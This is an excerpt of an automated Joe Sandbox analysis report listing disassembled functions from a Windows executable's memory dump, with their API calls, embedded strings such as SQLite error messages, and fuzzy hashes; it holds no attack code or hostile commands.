                                                                                            • GetDlgItem.USER32(00000000,0000040D), ref: 00411246
                                                                                            • GetWindowRect.USER32(00000000), ref: 0041124D
                                                                                            • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0041125D
                                                                                            • BeginDeferWindowPos.USER32(00000004), ref: 00411281
                                                                                            • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 004112A4
                                                                                            • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 004112C3
                                                                                            • DeferWindowPos.USER32(?,?,00000000,00000000,000000DC,?,?,00000004), ref: 004112EE
                                                                                            • DeferWindowPos.USER32(?,00000000,00000000,00000000,?,?,000000DC,00000004), ref: 00411306
                                                                                            • EndDeferWindowPos.USER32(?), ref: 0041130B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Defer$Rect$BeginClientItemPoints
                                                                                            • String ID:
                                                                                            • API String ID: 552707033-0
                                                                                            • Opcode ID: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                            • Instruction ID: 1a89c9de14f4e003cb1acc22e2fe5cfe68aec74c13575a54a2aa846d798aa5ff
                                                                                            • Opcode Fuzzy Hash: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                            • Instruction Fuzzy Hash: 3B41D375900209FFEB11DFA8DD89FEEBBBAFB48300F104469F655A61A0C771AA50DB14
                                                                                            Function 0040C084 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 110stringfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,?,0040C255,?,?,*.*,0040C2BF,00000000), ref: 0040C0A4
                                                                                              • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                                                                                            • GetFileSize.KERNEL32(00000000,00000000), ref: 0040C0D4
                                                                                              • Part of subcall function 0040BFF3: _memicmp.MSVCRT ref: 0040C00D
                                                                                              • Part of subcall function 0040BFF3: memcpy.MSVCRT(?,?,00000004,00000000,?,?,?,?,?,?,?,?,*.*,0040C2BF,00000000), ref: 0040C024
                                                                                            • memcpy.MSVCRT(00000000,?,00000004,00000000,?,?,?,?), ref: 0040C11B
                                                                                            • strchr.MSVCRT ref: 0040C140
                                                                                            • strchr.MSVCRT ref: 0040C151
                                                                                            • _strlwr.MSVCRT ref: 0040C15F
                                                                                            • memset.MSVCRT ref: 0040C17A
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040C1C7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$memcpystrchr$CloseCreateHandlePointerSize_memicmp_strlwrmemset
                                                                                            • String ID: 4$h
                                                                                            • API String ID: 4066021378-1856150674
                                                                                            • Opcode ID: 71bd764b9dcf29740d9000bfd46b6f343dec630bed034bbd58b4fa538d0cb68c
                                                                                            • Instruction ID: ad7b68c589633d756b108d453181f98220e50dbf4ed18f1a1dc8c2c6e1bbf79d
                                                                                            • Opcode Fuzzy Hash: 71bd764b9dcf29740d9000bfd46b6f343dec630bed034bbd58b4fa538d0cb68c
                                                                                            • Instruction Fuzzy Hash: F531C2B2800218FEEB20EB54CC85EEE73BCEF05354F14416AF508A6181D7389F558FA9
                                                                                            Function 00414621 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$_snwprintf
                                                                                            • String ID: %%0.%df
                                                                                            • API String ID: 3473751417-763548558
                                                                                            • Opcode ID: 2b153c1cf1109f668433ad91a4c4fbef48d688dda569af0dd2d123790ad71e5e
                                                                                            • Instruction ID: e3e507119e413e1699737691dcc770ce903c50d69a4f0c7cc4f670013a5326e5
                                                                                            • Opcode Fuzzy Hash: 2b153c1cf1109f668433ad91a4c4fbef48d688dda569af0dd2d123790ad71e5e
                                                                                            • Instruction Fuzzy Hash: 2D318F71800129BBEB20DF95CC85FEB77BCFF49304F0104EAB509A2155E7349A94CBA9
                                                                                            Function 004060A4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97timewindowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetTimer.USER32(?,00000041,00000064,00000000), ref: 004060C7
                                                                                            • KillTimer.USER32(?,00000041), ref: 004060D7
                                                                                            • KillTimer.USER32(?,00000041), ref: 004060E8
                                                                                            • GetTickCount.KERNEL32 ref: 0040610B
                                                                                            • GetParent.USER32(?), ref: 00406136
                                                                                            • SendMessageW.USER32(00000000), ref: 0040613D
                                                                                            • BeginDeferWindowPos.USER32(00000004), ref: 0040614B
                                                                                            • EndDeferWindowPos.USER32(00000000), ref: 0040619B
                                                                                            • InvalidateRect.USER32(?,?,00000001), ref: 004061A7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Timer$DeferKillWindow$BeginCountInvalidateMessageParentRectSendTick
                                                                                            • String ID: A
                                                                                            • API String ID: 2892645895-3554254475
                                                                                            • Opcode ID: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                            • Instruction ID: 3d646c34c65c30a23a549f03b0efc12359fcfb722ff8df3f2fd47db5f06942f8
                                                                                            • Opcode Fuzzy Hash: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                            • Instruction Fuzzy Hash: 67318F75240304BBEB205F62DC85F6A7B6ABB44742F018539F3067A5E1C7F998A18B58
                                                                                            Function 0040D2AB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
                                                                                            • String ID: 0$6
                                                                                            • API String ID: 4066108131-3849865405
                                                                                            • Opcode ID: fc96a420e8f8bdf87928e34e657a0b6c1b8723afb93dcca2deed5b8d5a3436dd
                                                                                            • Instruction ID: 23fd2219eb4cf2a86962fa47610fb6a66e7712bfbd77636794901fa2ff6d3352
                                                                                            • Opcode Fuzzy Hash: fc96a420e8f8bdf87928e34e657a0b6c1b8723afb93dcca2deed5b8d5a3436dd
                                                                                            • Instruction Fuzzy Hash: 1C317C72808344AFDB209F95D84499FB7E8FF84314F00493EFA48A2291D775D949CB5B
                                                                                            Function 004082C7 Relevance: 15.2, APIs: 10, Instructions: 229COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004082EF
                                                                                              • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                            • memset.MSVCRT ref: 00408362
                                                                                            • memset.MSVCRT ref: 00408377
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$ByteCharMultiWide
                                                                                            • String ID:
                                                                                            • API String ID: 290601579-0
                                                                                            • Opcode ID: aa14e1b9e389497361ed401ed70ebc10d5f62d7ff5e107018b9223dc9ab6e0fb
                                                                                            • Instruction ID: eff1c4cb9ad8ed09cf65616da307521f953f8cb6273bc8e87bbfe44e88666a06
                                                                                            • Opcode Fuzzy Hash: aa14e1b9e389497361ed401ed70ebc10d5f62d7ff5e107018b9223dc9ab6e0fb
                                                                                            • Instruction Fuzzy Hash: E1716C72E0421DAFEF10EFA1EC82AEDB7B9EF04314F14406FE104B6191EB795A458B59
                                                                                            Function 0040A45A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040A47B
                                                                                            • _snwprintf.MSVCRT ref: 0040A4AE
                                                                                            • wcslen.MSVCRT ref: 0040A4BA
                                                                                            • memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                            • wcslen.MSVCRT ref: 0040A4E0
                                                                                            • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpywcslen$_snwprintfmemset
                                                                                            • String ID: %s (%s)$YV@
                                                                                            • API String ID: 3979103747-598926743
                                                                                            • Opcode ID: 1cd29c0c96bb3ddeb02ffde04bffb630c2350d0f86c95190f97a15d0a128dfe3
                                                                                            • Instruction ID: 06bfc13611ed198a4270a5cd43788582667178ba612a9453d6f3368808cd6753
                                                                                            • Opcode Fuzzy Hash: 1cd29c0c96bb3ddeb02ffde04bffb630c2350d0f86c95190f97a15d0a128dfe3
                                                                                            • Instruction Fuzzy Hash: 31216F72900219BBDF21DF55CC45D8BB7B8BF04318F018466E948AB106DB74EA188BD9
                                                                                            Function 004044A4 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52libraryloaderwindowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,00412785,00000000,?,00000002,?,0044688C,00000000,?,0000000A), ref: 004044C3
                                                                                            • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                            • FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,00412785,00000000,?,00000002,?,0044688C,00000000,?,0000000A), ref: 004044E9
                                                                                            • MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Library$AddressFreeLoadMessageProc
                                                                                            • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                                                                                            • API String ID: 2780580303-317687271
                                                                                            • Opcode ID: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                            • Instruction ID: 703d86131c3dcb59aab6256491fb2853d543806c906e0642a055f98632e98cc8
                                                                                            • Opcode Fuzzy Hash: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                            • Instruction Fuzzy Hash: B201D6757502217BE7112FB69C49F7B7A9CFF82749B000035E601E2180EAB8D901926D
                                                                                            Function 0040A661 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,00409764,?,00000000,?,00410669,00000000,?,00412758,00000000), ref: 0040A686
                                                                                            • FormatMessageW.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000,?,00000000,?,?,00409764,?,00000000,?,00410669), ref: 0040A6A4
                                                                                            • wcslen.MSVCRT ref: 0040A6B1
                                                                                            • wcscpy.MSVCRT ref: 0040A6C1
                                                                                            • LocalFree.KERNEL32(00000000,?,00000400,00000000,00000000,00000000,?,00000000,?,?,00409764,?,00000000,?,00410669,00000000), ref: 0040A6CB
                                                                                            • wcscpy.MSVCRT ref: 0040A6DB
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
                                                                                            • String ID: Unknown Error$netmsg.dll
                                                                                            • API String ID: 2767993716-572158859
                                                                                            • Opcode ID: 5982e7e4988f8d3682e164896efd2193f6d57f3c4e1bf6f54fb8b809858ad133
                                                                                            • Instruction ID: f30f617898fcbe25dfcd40b25f3134c3ee1324ef56ff669fd92f7ad18b117fee
                                                                                            • Opcode Fuzzy Hash: 5982e7e4988f8d3682e164896efd2193f6d57f3c4e1bf6f54fb8b809858ad133
                                                                                            • Instruction Fuzzy Hash: 77014772104214BFE7151B61EC46E9F7B3DEF06795F24043AF902B10D0DA7A5E10D69D
                                                                                            Function 0042F5F4 Relevance: 13.8, APIs: 2, Strings: 7, Instructions: 250COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            • unable to open database: %s, xrefs: 0042F84E
                                                                                            • cannot ATTACH database within transaction, xrefs: 0042F663
                                                                                            • database is already attached, xrefs: 0042F721
                                                                                            • too many attached databases - max %d, xrefs: 0042F64D
                                                                                            • attached databases must use the same text encoding as main database, xrefs: 0042F76F
                                                                                            • out of memory, xrefs: 0042F865
                                                                                            • database %s is already in use, xrefs: 0042F6C5
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpymemset
                                                                                            • String ID: attached databases must use the same text encoding as main database$cannot ATTACH database within transaction$database %s is already in use$database is already attached$out of memory$too many attached databases - max %d$unable to open database: %s
                                                                                            • API String ID: 1297977491-2001300268
                                                                                            • Opcode ID: b87818fa112a0acc8a66a9ae252063e0b2e26e7fac12933c278b7e571d5e68ae
                                                                                            • Instruction ID: 2d624c67d108d3170f37657fe85980b6deaf3b4166a4b31ce602698a835437d0
                                                                                            • Opcode Fuzzy Hash: b87818fa112a0acc8a66a9ae252063e0b2e26e7fac12933c278b7e571d5e68ae
                                                                                            • Instruction Fuzzy Hash: 4791C131B00315AFDB10DF65E481B9ABBB0AF44318F94807FE8059B252D778E949CB59
                                                                                            Function 0041851E Relevance: 13.6, APIs: 9, Instructions: 67sleepfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DeleteFileW.KERNEL32(00000000,00000000,00000000,00000080,0045DBC0,00417C3A,00000000,?,00000000,00000000), ref: 00418548
                                                                                            • GetFileAttributesW.KERNEL32(00000000), ref: 0041854F
                                                                                            • GetLastError.KERNEL32 ref: 0041855C
                                                                                            • Sleep.KERNEL32(00000064), ref: 00418571
                                                                                            • DeleteFileA.KERNEL32(00000000,00000000,00000000,00000080,0045DBC0,00417C3A,00000000,?,00000000,00000000), ref: 0041857A
                                                                                            • GetFileAttributesA.KERNEL32(00000000), ref: 00418581
                                                                                            • GetLastError.KERNEL32 ref: 0041858E
                                                                                            • Sleep.KERNEL32(00000064), ref: 004185A3
                                                                                            • free.MSVCRT ref: 004185AC
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$AttributesDeleteErrorLastSleep$free
                                                                                            • String ID:
                                                                                            • API String ID: 2802642348-0
                                                                                            • Opcode ID: a77d1a153e4db6e53d86637d525c0b6f23984a2685c1b6acb3711ab2d61cf685
                                                                                            • Instruction ID: d61f765991b085217c17e58d7c3851c8d0f597f546fc635256e60a728691d00d
                                                                                            • Opcode Fuzzy Hash: a77d1a153e4db6e53d86637d525c0b6f23984a2685c1b6acb3711ab2d61cf685
                                                                                            • Instruction Fuzzy Hash: A011C639540624BBC61027716CC89BE3676E75B335B210A2EFA22912D0DF6C4CC2557E
                                                                                            Function 0040D134 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D173
                                                                                            • wcscpy.MSVCRT ref: 0040D1B5
                                                                                              • Part of subcall function 0040D626: memset.MSVCRT ref: 0040D639
                                                                                              • Part of subcall function 0040D626: _itow.MSVCRT ref: 0040D647
                                                                                            • wcslen.MSVCRT ref: 0040D1D3
                                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?,?,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D1E1
                                                                                            • LoadStringW.USER32(00000000,0000000A,00000FFF,?), ref: 0040D20C
                                                                                            • memcpy.MSVCRT(00000000,00000002), ref: 0040D24C
                                                                                              • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT(00000000,0040D142,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D0CC
                                                                                              • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040D142,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D0EA
                                                                                              • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,0040D142,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D108
                                                                                              • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,0040D142,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D126
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
                                                                                            • String ID: strings
                                                                                            • API String ID: 3166385802-3030018805
                                                                                            • Opcode ID: 07dd20e83a72376c017d688d2d43246e42d1d17d60f688a4af98472ad4cd9316
                                                                                            • Instruction ID: f4589d763452722e7ce024d248fd6f149fceb83749f413ad0df853fa0cd60d20
                                                                                            • Opcode Fuzzy Hash: 07dd20e83a72376c017d688d2d43246e42d1d17d60f688a4af98472ad4cd9316
                                                                                            • Instruction Fuzzy Hash: 78418D75D003109BD7369FA8ED809263365FF48306700047EE942972A7DEB9E886CB5D
                                                                                            Function 0040541F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 78COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004055A4: GetLastError.KERNEL32(?,00000000,00405522,?,?,?,00000000,00000000,?,00408E1C,?,?,00000060,00000000), ref: 004055B9
                                                                                            • memset.MSVCRT ref: 00405455
                                                                                            • memset.MSVCRT ref: 0040546C
                                                                                            • memset.MSVCRT ref: 00405483
                                                                                            • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00405498
                                                                                            • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004054AD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$memcpy$ErrorLast
                                                                                            • String ID: 6$\
                                                                                            • API String ID: 404372293-1284684873
                                                                                            • Opcode ID: 0330b9b22cd30b5b2625a0a7e6ceceae146d238a8b356c7611763844912e7754
                                                                                            • Instruction ID: af38dfd20ac5a94c77b7ead9800c7a3089711b207e9f3183cf3669ed78e53beb
                                                                                            • Opcode Fuzzy Hash: 0330b9b22cd30b5b2625a0a7e6ceceae146d238a8b356c7611763844912e7754
                                                                                            • Instruction Fuzzy Hash: 572141B280112CBBDF11AF99DC45EDF7BACDF15304F0080A6B509E2156E6398B988F65
                                                                                            Function 0040A06C Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A088
                                                                                            • GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 0040A0B4
                                                                                            • GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 0040A0C9
                                                                                            • wcscpy.MSVCRT ref: 0040A0D9
                                                                                            • wcscat.MSVCRT ref: 0040A0E6
                                                                                            • wcscat.MSVCRT ref: 0040A0F5
                                                                                            • wcscpy.MSVCRT ref: 0040A107
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Time$Formatwcscatwcscpy$DateFileSystem
                                                                                            • String ID:
                                                                                            • API String ID: 1331804452-0
                                                                                            • Opcode ID: 23c89843948f9d4d6ccb23a927c15bd8e6af065920e5565f2ade9cfd678fbabf
                                                                                            • Instruction ID: 70f18838178cd2dbc623065d80ced1a8b0c5b1489d8a310e1ceaee9f81d034e1
                                                                                            • Opcode Fuzzy Hash: 23c89843948f9d4d6ccb23a927c15bd8e6af065920e5565f2ade9cfd678fbabf
                                                                                            • Instruction Fuzzy Hash: 321191B284011DBFEB10AF95DC45DEF777CEB01745F104076B904B6091E6399E858B7A
                                                                                            Function 00404363 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040440C: FreeLibrary.KERNEL32(?,0040436D,00000000,00000000,?,0040BDCC,?,00000000,?), ref: 00404414
                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
